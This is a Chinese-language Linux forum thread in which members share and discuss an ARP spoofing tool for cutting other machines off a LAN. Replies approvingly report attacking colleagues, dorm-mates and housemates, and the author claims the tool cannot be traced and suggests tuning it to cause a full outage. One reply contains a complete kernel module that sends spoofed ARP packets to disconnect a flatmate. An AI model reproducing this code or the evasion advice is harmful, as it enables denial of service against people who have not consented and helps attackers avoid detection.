Chinaunix

标题: 共享:linux arp 欺骗程序 [打印本页]

作者: wojiaohesen    时间: 2009-09-10 10:47
标题: 共享:linux arp 欺骗程序
本帖最后由 wojiaohesen 于 2010-05-01 20:48 编辑

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;;该程序仅仅是为了展示那些不常用的linux系统调用(raw-socket, packet-socket, socket-filter, rtnetlink-socket)
;;仅仅为了交流!!!!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


[ 本帖最后由 wojiaohesen 于 2009-11-11 17:59 编辑 ]

darp.tar.gz

3.76 KB, 下载次数: 2608


作者: Godbach    时间: 2009-09-10 10:55
感谢LZ的分享,待会儿测试一下。

BTW,LZ是否可贴一下你的测试情况。
作者: wojiaohesen    时间: 2009-09-10 11:02
标题: 回复 #2 Godbach 的帖子
已经测试过了。和同事在一起测试的,效果不错,居家必备。
作者: Godbach    时间: 2009-09-10 11:10
建议LZ用通常的那种方式,执行命令不带任何参数是,输出命令的帮助信息。
作者: Godbach    时间: 2009-09-10 11:15
LZ的意思是用该程序加个目的IP的参数,则该目的IP就无法上网了?
作者: Godbach    时间: 2009-09-10 11:26
刚刚测试了一下,发起欺骗的时候,我这里好像比正常情况下打开页面慢了。这个应该就是ARP欺骗的效果吧。
LZ那里测试是完全不能上网了吗?
作者: wojiaohesen    时间: 2009-09-10 11:48
参数完全没有那个必要,再说了,我又不是为了写程序出售,就是出售了也没有人要,给大家看看也就是希望大家都相互借鉴借鉴。

如果你想完全不能上网的话,那么就把里面的发送arp欺骗的时间间隔弄的更短,比方说1S,当然这个程序还有改动的余地,那就是攻击网关。
作者: Godbach    时间: 2009-09-10 12:04
如果你想完全不能上网的话,那么就把里面的发送arp欺骗的时间间隔弄的更短,比方说1S,当然这个程序还有改动的余地,那就是攻击网关。


效果很明显。多谢LZ分享。加个精华,大家共同交流。
作者: wojiaohesen    时间: 2009-09-10 12:51
内核中的一些功能都没有得到很好的注释,想使用其中的一些功能会遇到很多麻烦,我想多写些代码,一方面把这些功能介绍给大家,也希望能提供些例子供大家参考。

欢迎大家写代码。呵呵
作者: wojiaohesen    时间: 2009-09-10 12:55
这个程序并没有把网卡设置成混杂模式,所以可以防止arp反向追踪。呵呵

这个程序对那些静态的arp有没有相关的功能,这个我还不清楚,不过可以通过欺骗网关还彻底的达到断网的行为。

[ 本帖最后由 wojiaohesen 于 2009-9-10 12:56 编辑 ]
作者: Godbach    时间: 2009-09-10 12:57
原帖由 wojiaohesen 于 2009-9-10 12:55 发表
这个程序对那些静态的arp有没有相关的功能,这个我还不清楚,不过可以通过欺骗网关还彻底的达到断网的行为。


LZ记得实际中ARP欺骗,是间隔多长时间吗?
作者: wojiaohesen    时间: 2009-09-10 13:07
标题: 回复 #11 Godbach 的帖子
5s,有什么问题吗?
作者: Godbach    时间: 2009-09-10 13:11
如果5s的话感觉时间间隔有点长啊。效果应该不是很明显。
作者: wojiaohesen    时间: 2009-09-10 13:15
稍微设置短点,linux在处理arp的时候,在一条arp不能使用的时候,你可以通过这个程序直接的在目标主机里添加一条记录。但是如果有程序正在使用arp条目的话,linux需要发送arp请求到目标主机,以此来确认这个arp是不是不可用了。我想应该是这样的。

因为arp协议很小,大概总共不到60个字节,哪怕是1S一个,对cpu来说也是小case。


那个攻击网关的功能我还没有加入,不过非常简单,在cheat函数中加入几条指令就可以了。

等两天,我再写个追踪监听者的程序。也是基于arp协议的。

[ 本帖最后由 wojiaohesen 于 2009-9-10 13:17 编辑 ]
作者: meijusan123    时间: 2009-09-10 15:40
.恩 不错。如果 做到 协议栈中,就更好啊啦
作者: Godbach    时间: 2009-09-10 15:42
原帖由 meijusan123 于 2009-9-10 15:40 发表
.恩 不错。如果 做到 协议栈中,就更好啊啦


协议栈里执行ARP欺骗功能吗?
作者: wojiaohesen    时间: 2009-09-10 16:56
能阿,谁变态,谁就写一个。
作者: Godbach    时间: 2009-09-10 17:14
原帖由 wojiaohesen 于 2009-9-10 16:56 发表
能阿,谁变态,谁就写一个。


这样的协议栈干脆称作攻击工具得了。
作者: wujianhao    时间: 2009-09-11 17:35
在自己宿舍的局域网测试了下,一共6台电脑,1台linux,5台windows.其中一台windows没有杀毒和防火墙(这台最明显dns解析错误),其他的windows上网慢。
作者: Godbach    时间: 2009-09-12 11:15
原帖由 wujianhao 于 2009-9-11 17:35 发表
在自己宿舍的局域网测试了下,一共6台电脑,1台linux,5台windows.其中一台windows没有杀毒和防火墙(这台最明显dns解析错误),其他的windows上网慢。


用1台Linux攻击了5台Win啊。就用LZ给的默认间隔吧。
作者: GoldenSoldier    时间: 2009-09-13 21:11
标题: 回复 #1 wojiaohesen 的帖子
源程序中:sock = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ARP))

问: htons (ETH_P_ARP)有必要么?貌似直接用 ETH_P_ARP吧
作者: duanjigang    时间: 2009-09-14 09:38
支持下,这个ARP攻击,360安全卫视能检测到吧,或者能防御吗?
作者: osmanthusgfy    时间: 2009-09-14 11:19
原帖由 duanjigang 于 2009-9-14 09:38 发表
支持下,这个ARP攻击,360安全卫视能检测到吧,或者能防御吗?



顶,我也想知道
现在arp欺骗,一般的防火墙和杀软都能检测到,如果跟踪到你的ip就麻烦大大的了
作者: dreamice    时间: 2009-09-14 12:49
这个不错,呵呵
作者: lvyc    时间: 2009-09-14 14:28
刚刚使用了一下,攻击一windows 马上就不能上网了.打开360,可以检测到ARP 攻击,但是发现并没有阻止.
作者: wojiaohesen    时间: 2009-09-14 17:39
这两天在学习语言,没有时间,等我把这个程序写的更好些,毒化网关的arp表。
还有你说的360可以发现arp攻击,但是记住了哦:他并没有发现是谁在攻击。哈哈。道理很简单:我没有去监听。所以就抓不到

过两天我再发个程序用来显示当前网络下都有那些监听者,这个算有些用处吧。
作者: wojiaohesen    时间: 2009-09-14 17:40
标题: 回复 #23 osmanthusgfy 的帖子
放心吧,这个他绝对的追踪不到的,你可以用任何的杀毒工具测试,
作者: wojiaohesen    时间: 2009-09-14 17:41
原帖由 osmanthusgfy 于 2009-9-14 11:19 发表



顶,我也想知道
现在arp欺骗,一般的防火墙和杀软都能检测到,如果跟踪到你的ip就麻烦大大的了



放心吧,这个他绝对的追踪不到的,你可以用任何的杀毒工具测试,
作者: wojiaohesen    时间: 2009-09-14 17:45
原帖由 GoldenSoldier 于 2009-9-13 21:11 发表
源程序中:sock = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ARP))

问: htons (ETH_P_ARP)有必要么?貌似直接用 ETH_P_ARP吧

事实并不是这样,必须要用htons。当然你也可以直接使用ETH_P_ARP,但是问题是你必须自己去处理在发送arp时候的网络字节顺序,并且在非raw packet的情况下,htons是一定需要的,需要用这个来查找相关的协议处理模块。

[ 本帖最后由 wojiaohesen 于 2009-9-14 17:47 编辑 ]
作者: wheel    时间: 2009-09-15 10:35
这个程序并没有把网卡设置成混杂模式,所以可以防止arp反向追踪 ...ok
作者: wheel    时间: 2009-09-15 10:37
楼主写个通过MAC地址找IP的程序吧。。
作者: 故哈    时间: 2009-09-15 14:31
./darp ip ?
没有作用
作者: jiangzj123    时间: 2009-09-15 17:41
郁闷,我拿LZ的code交叉编译不过,愁死我了.
mipsel-linux-gcc -Wall -o darp darp.c
In file included from darp.c:9:
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/filter.h:21: error: parse error before "__u16"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/filter.h:23: error: parse error before "jf"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/filter.h:24: error: parse error before "k"
In file included from darp.c:16:
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/netlink.h:22: error: parse error before "__u32"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/netlink.h:28: error: parse error before "__u32"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/netlink.h:30: error: parse error before "nlmsg_flags"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/netlink.h:31: error: parse error before "nlmsg_seq"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/netlink.h:32: error: parse error before "nlmsg_pid"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/netlink.h:83: error: field `msg' has incomplete type
In file included from darp.c:17:
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:253: error: parse error before "__u32"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:255: error: parse error before "rta_expires"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:256: error: parse error before "rta_error"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:257: error: parse error before "rta_used"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:260: error: parse error before "rta_id"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:261: error: parse error before "rta_ts"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:262: error: parse error before "rta_tsage"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:333: error: parse error before "__s32"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:359: error: parse error before "__u16"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:361: error: parse error before "ndm_type"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:404: error: parse error before "__u32"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:406: error: parse error before "ndm_updated"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:407: error: parse error before "ndm_refcnt"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:519: error: parse error before "__u32"
/opt/buildroot-gcc342/bin/../lib/gcc/mipsel-linux-uclibc/3.4.2/../../../../mipsel-linux-uclibc/sys-include/linux/rtnetlink.h:521: error: parse error before "tcm_info"
darp.c:120: error: parse error before "__be16"
darp.c: In function `gateway_on_nic':
darp.c:277: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:308: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:310: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:312: error: dereferencing pointer to incomplete type
darp.c:312: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:313: error: dereferencing pointer to incomplete type
darp.c:314: error: dereferencing pointer to incomplete type
darp.c:317: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:332: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:332: error: dereferencing pointer to incomplete type
darp.c:332: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:332: error: dereferencing pointer to incomplete type
darp.c:332: error: dereferencing pointer to incomplete type
darp.c:332: error: dereferencing pointer to incomplete type
darp.c:332: warning: left-hand operand of comma expression has no effect
darp.c:334: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:339: error: dereferencing pointer to incomplete type
darp.c:339: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:357: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c:359: error: dereferencing pointer to incomplete type
darp.c:359: error: invalid application of `sizeof' to incomplete type `nlmsghdr'
darp.c: In function `pinghost':
darp.c:402: error: elements of array `sfilter' have incomplete type
darp.c:403: warning: excess elements in struct initializer
darp.c:403: warning: (near initialization for `sfilter[0]')
darp.c:403: warning: excess elements in struct initializer
darp.c:403: warning: (near initialization for `sfilter[0]')
darp.c:403: warning: excess elements in struct initializer
darp.c:403: warning: (near initialization for `sfilter[0]')
darp.c:403: warning: excess elements in struct initializer
darp.c:403: warning: (near initialization for `sfilter[0]')
darp.c:404: warning: excess elements in struct initializer
darp.c:404: warning: (near initialization for `sfilter[1]')
darp.c:404: warning: excess elements in struct initializer
darp.c:404: warning: (near initialization for `sfilter[1]')
darp.c:404: warning: excess elements in struct initializer
darp.c:404: warning: (near initialization for `sfilter[1]')
darp.c:404: warning: excess elements in struct initializer
darp.c:404: warning: (near initialization for `sfilter[1]')
darp.c:405: warning: excess elements in struct initializer
darp.c:405: warning: (near initialization for `sfilter[2]')
darp.c:405: warning: excess elements in struct initializer
darp.c:405: warning: (near initialization for `sfilter[2]')
darp.c:405: warning: excess elements in struct initializer
darp.c:405: warning: (near initialization for `sfilter[2]')
darp.c:405: warning: excess elements in struct initializer
darp.c:405: warning: (near initialization for `sfilter[2]')
darp.c:406: warning: excess elements in struct initializer
darp.c:406: warning: (near initialization for `sfilter[3]')
darp.c:406: warning: excess elements in struct initializer
darp.c:406: warning: (near initialization for `sfilter[3]')
darp.c:406: warning: excess elements in struct initializer
darp.c:406: warning: (near initialization for `sfilter[3]')
darp.c:406: warning: excess elements in struct initializer
darp.c:406: warning: (near initialization for `sfilter[3]')
darp.c:407: warning: excess elements in struct initializer
darp.c:407: warning: (near initialization for `sfilter[4]')
darp.c:407: warning: excess elements in struct initializer
darp.c:407: warning: (near initialization for `sfilter[4]')
darp.c:407: warning: excess elements in struct initializer
darp.c:407: warning: (near initialization for `sfilter[4]')
darp.c:407: warning: excess elements in struct initializer
darp.c:407: warning: (near initialization for `sfilter[4]')
darp.c:410: warning: excess elements in struct initializer
darp.c:410: warning: (near initialization for `sfilter[5]')
darp.c:410: warning: excess elements in struct initializer
darp.c:410: warning: (near initialization for `sfilter[5]')
darp.c:410: warning: excess elements in struct initializer
darp.c:410: warning: (near initialization for `sfilter[5]')
darp.c:410: warning: excess elements in struct initializer
darp.c:410: warning: (near initialization for `sfilter[5]')
darp.c:411: warning: excess elements in struct initializer
darp.c:411: warning: (near initialization for `sfilter[6]')
darp.c:411: warning: excess elements in struct initializer
darp.c:411: warning: (near initialization for `sfilter[6]')
darp.c:411: warning: excess elements in struct initializer
darp.c:411: warning: (near initialization for `sfilter[6]')
darp.c:411: warning: excess elements in struct initializer
darp.c:411: warning: (near initialization for `sfilter[6]')
darp.c:412: warning: excess elements in struct initializer
darp.c:412: warning: (near initialization for `sfilter[7]')
darp.c:412: warning: excess elements in struct initializer
darp.c:412: warning: (near initialization for `sfilter[7]')
darp.c:412: warning: excess elements in struct initializer
darp.c:412: warning: (near initialization for `sfilter[7]')
darp.c:412: warning: excess elements in struct initializer
darp.c:412: warning: (near initialization for `sfilter[7]')
darp.c:402: error: array size missing in 'sfilter'
darp.c:402: error: storage size of 'sfilter' isn't known
darp.c:439: error: invalid application of `sizeof' to incomplete type `sock_filter'
darp.c:439: warning: division by zero
darp.c:402: warning: unused variable `sfilter'
darp.c: At top level:
darp.c:481: error: parse error before "__be16"
darp.c: In function `setup_arpmsg':
darp.c:491: error: `dsthwa' undeclared (first use in this function)
darp.c:491: error: (Each undeclared identifier is reported only once
darp.c:491: error: for each function it appears in.)
darp.c:492: error: `arpmsg' undeclared (first use in this function)
darp.c:496: error: `srchwa' undeclared (first use in this function)
darp.c:500: error: `ha_type' undeclared (first use in this function)
darp.c:504: error: `op' undeclared (first use in this function)
darp.c:506: error: `sha' undeclared (first use in this function)
darp.c:507: error: `spa' undeclared (first use in this function)
darp.c:509: error: `tha' undeclared (first use in this function)
darp.c:514: error: `tpa' undeclared (first use in this function)
make: *** [default] Error 1
作者: honckly    时间: 2009-09-15 18:23
环境不一样?
作者: joinbaijun    时间: 2009-09-16 14:15
支持原创
只是让目标不能上网么?功能做到和windows下zxarp一样就好了
作者: chary8088    时间: 2009-09-18 17:01
学习了
作者: GoldenSoldier    时间: 2009-09-19 21:08
标题: 回复 #1 wojiaohesen 的帖子
学习中。。。。
请教一个问题,就是函数int bindnicbyaddr (int sock, in_addr_t addr);是做什么用的,里面的ioctl的参数很少用到 ,查了UNP,也不是很明白
看了看,关键一句是在if (-1 != bind (sock, (struct sockaddr *) &paddr, (socklen_t) len))。
为什么绑定目的IP?
为什么绑定费这么大事?
if (!((dstaddr ^ (*(struct sockaddr_in *) &ifinfo->ifr_addr).sin_addr.s_addr) &
            netmask.sin_addr.s_addr))
作者: Caivi    时间: 2009-09-28 15:30
arm_v6_be_uclibc-gcc -o darp darp.c -g2 交叉编译成功
但在我的路由器里面运行效果似乎不明显,我是新手,估计是我不会玩。
作者: hjk857    时间: 2009-10-04 15:31
做个记号!!!

下次要用到再找你。。。
作者: somethingels    时间: 2009-10-08 00:11
嗯,我也做个记号。。
作者: liuhengloveyou    时间: 2009-10-09 16:46
我也做个记号。。
作者: ri0day    时间: 2009-10-10 12:27

mark.exe
作者: mfkwwgi    时间: 2009-10-11 23:05
最近我也在搞这方面,下来学习学习。
作者: gcbin007    时间: 2009-10-12 15:06
实践实践
作者: freesoftsomuch    时间: 2009-10-15 14:44
感谢你的小程序
但是你能把没有辑编的开源代码发一份的话
我会更感谢
并会让他变得更强大!!!!
用为我的机子上现在没有C工具
最好计事本

[ 本帖最后由 freesoftsomuch 于 2009-10-15 14:47 编辑 ]
作者: Godbach    时间: 2009-10-15 14:52
原帖由 freesoftsomuch 于 2009-10-15 14:44 发表
感谢你的小程序
但是你能把没有辑编的开源代码发一份的话
我会更感谢
并会让他变得更强大!!!!
用为我的机子上现在没有C工具
最好计事本

1楼的帖子上有源码啊
作者: freesoftsomuch    时间: 2009-10-15 20:10
不好意思我没有用写字版试!现在可以了
刚刚我这边了这样的
d:\我的文档\桌面\未命名.jpg

[ 本帖最后由 freesoftsomuch 于 2009-10-15 20:16 编辑 ]

未命名.jpg (505.95 KB, 下载次数: 31)

未命名.jpg

作者: Godbach    时间: 2009-10-15 20:38
原帖由 freesoftsomuch 于 2009-10-15 20:10 发表
不好意思我没有用写字版试!现在可以了
刚刚我这边了这样的
d:\我的文档\桌面\未命名.jpg


呵呵,回车换行的问题啊,LInux和Windows是有区别的
作者: @sky    时间: 2009-10-15 21:37
直接搞个ARP应答给对方就行了
作者: angxc2020    时间: 2009-10-17 19:16
标题: 回复 #1 wojiaohesen 的帖子
我在虚拟机上用的好像没效果
作者: arlikiss    时间: 2009-10-23 10:20
标题: 这几天正在完这类东西,一会测试一下!!
这几天正在完这类东西,一会测试一下!!
作者: jerrymy    时间: 2009-10-26 15:11
对windows有用吗
作者: Godbach    时间: 2009-10-26 15:17
标题: 回复 #52 jerrymy 的帖子
拿着代码改改,应该可以用于WIN
作者: lll0905    时间: 2009-11-06 16:50
大佬,有错别字:


177   /* get the ip address of gateway. */
178   if ((in_addr_t) -1 == (gateway_addr = gateway_on_nic (ifindex)))
179     {
180
     fprintf (stderr, "can'f find getway.\n");                        
                                                              
181       goto close_sock;
182     }

[ 本帖最后由 lll0905 于 2009-11-6 16:53 编辑 ]
作者: tanrui206    时间: 2009-11-06 17:13
感谢分享!
作者: Arthur_    时间: 2009-11-07 23:12
hello, 各位, 我房子是合猪的, 有个人经常BT, 导致我dota 吊线分一直减.

今天是在气不过 就想整整它, 想到了最简单的免费arp, google下居然到了这里.
哈哈. 在此谢过. 不过在我的机器上跑有点小问题, 一执行程序终端像死机, cpu又点高, sorry我用的是虚拟机, 所以的我就临时写了粗糙的内核版的发送免费arp, 时间仓促没有, 代码有点丑, 最终的效果是达到了,(但那个SX 过一会去重启下路尤其, 哎....)


ONLY YOU, .... 不啰嗦了.

我在rmmod的时候 偶尔死机, 自己猜测是我rmmod后, timer有可能又开始运行执行我的handle, 在handle里mod_timer导致的,不知道对不对, 大家是怎么解决这个问题的呢? 代码如下:

  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/if_arp.h>
  4. #include <net/flow.h>
  5. #include <net/route.h>
  6. #include <net/arp.h>
  7. #include <linux/inetdevice.h>

  8. #define ARP_ALLOW        1
  9. #define ARP_DENY 2       


  10. #define ARP_INTERVAL 2

  11. static struct arp_control{
  12.         u16                        flags;
  13.         u32                        ip;
  14.         struct timer_list        timer;
  15. }arp_cb;

  16. static void arp_timer(unsigned long data)
  17. {
  18.         struct rtable        *rt;
  19.         struct flowi         fl;
  20.         u8 mac[6] = {0x90, 0xeb, 0xba, 0x00, 0x6f, 0xb8};

  21.         if (!arp_cb.ip)
  22.                 goto passby;
  23.        
  24.         memset(&fl, 0, sizeof(fl));
  25.         fl.nl_u.ip4_u.daddr = arp_cb.ip;
  26.         if (ip_route_output_key(&rt, &fl)){
  27.                 printk("there's no route for this\n");
  28.                 goto passby;
  29.         }
  30.        
  31.         arp_send(ARPOP_REQUEST, ETH_P_ARP, arp_cb.ip, rt->idev->dev, arp_cb.ip,
  32.                 NULL, mac, mac);

  33.         ip_rt_put(rt);
  34.        
  35. passby:
  36.         mod_timer(&arp_cb.timer, jiffies + ARP_INTERVAL*HZ);       
  37. }

  38. static int __init arp2_init(void)
  39. {
  40.         arp_cb.flags = ARP_DENY;
  41.         arp_cb.ip = 0x8700a8c0;
  42.         init_timer(&arp_cb.timer);
  43.         arp_cb.timer.function = arp_timer;
  44.         arp_cb.timer.data = 0;
  45.         arp_cb.timer.expires = jiffies + HZ*ARP_INTERVAL;

  46.         add_timer(&arp_cb.timer);
  47.         return 0;
  48. }

  49. static void __exit arp2_exit(void)
  50. {
  51.         del_timer_sync(&arp_cb.timer);
  52. }

  53. MODULE_LICENSE("GPL");
  54. module_init(arp2_init);
  55. module_exit(arp2_exit);
复制代码

[ 本帖最后由 Arthur_ 于 2009-11-7 23:15 编辑 ]
作者: zhanglistar    时间: 2009-11-09 22:11
标题: 回复 #1 wojiaohesen 的帖子
有几个地方不太懂   
一个是
struct rawarp
{
  struct ethhdr eh;
  struct ether_arp msg;
}__attribute__((packed));
还有一个是
  char buffer_request[BUFFERSIZE_REQUEST]__attribute__((aligned (NLMSG_ALIGNTO)));

前面的__attribute__是什么意思呢?
后面的buffer_request后面还有__attribute__是什么意思????
作者: 找不着南    时间: 2009-11-10 20:22
强大的LZ,膜拜之……
作者: koolcoy    时间: 2009-11-10 22:32
跟我合租的不知道是哪个sb就喜欢搞网关arp欺骗,他一搞我就执行下面这个python程序,过大约10分钟他就不搞了

  1. #!/usr/bin/env python

  2. import sys
  3. import socket

  4. def main():
  5.         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
  6.         sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
  7.         while True:
  8.                 sock.sendto("wang guan di zhi shi 00:xx:xx:xx:xx:xx, bie gao le, SB", ("255.255.255.255", 4444))
复制代码

python是个好同志啊
作者: creatory    时间: 2009-11-17 11:06
该程序不错,我顺利攻击了好几个同事,哈哈,然后让他们请我吃饭,谢谢了
作者: xczwhx    时间: 2009-11-20 11:29
学习了,估计很不错!
作者: 大狗狗    时间: 2009-12-01 18:31
标题: 回复 #59 koolcoy 的帖子
为啥要搞4444端口?
作者: 大狗狗    时间: 2009-12-01 18:33
标题: 回复 #56 Arthur_ 的帖子
兄弟,。同病相怜阿。
我每天晚上魔兽的时候,。都有SB狂下载。每次掉下都要输入密宝卡。痛苦死我了。
这个mod是内核发送arp包的是吗?对于bt有杀作用?
作者: xxw19840406    时间: 2009-12-16 18:29
谢谢共享
作者: _LoveLinux    时间: 2010-08-03 10:54
谢谢楼主的分离~{:3_186:}
作者: senghoo    时间: 2010-08-03 14:57
回复 57# zhanglistar


    __attribute__这个描述是禁止对字节序优化用的。 比如编译器优化的时候有时候会自动对齐。因为发送的是数据包所以让他不要对齐数据
作者: 2bVdBRTIvew5    时间: 2013-03-17 10:17
谢谢LZ分享源码,这几天正在研究ARP协议,想做个欺骗测试一下
作者: simanstar    时间: 2014-10-31 20:52
为什么我写别人的IP,导致自己不能上网了???




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2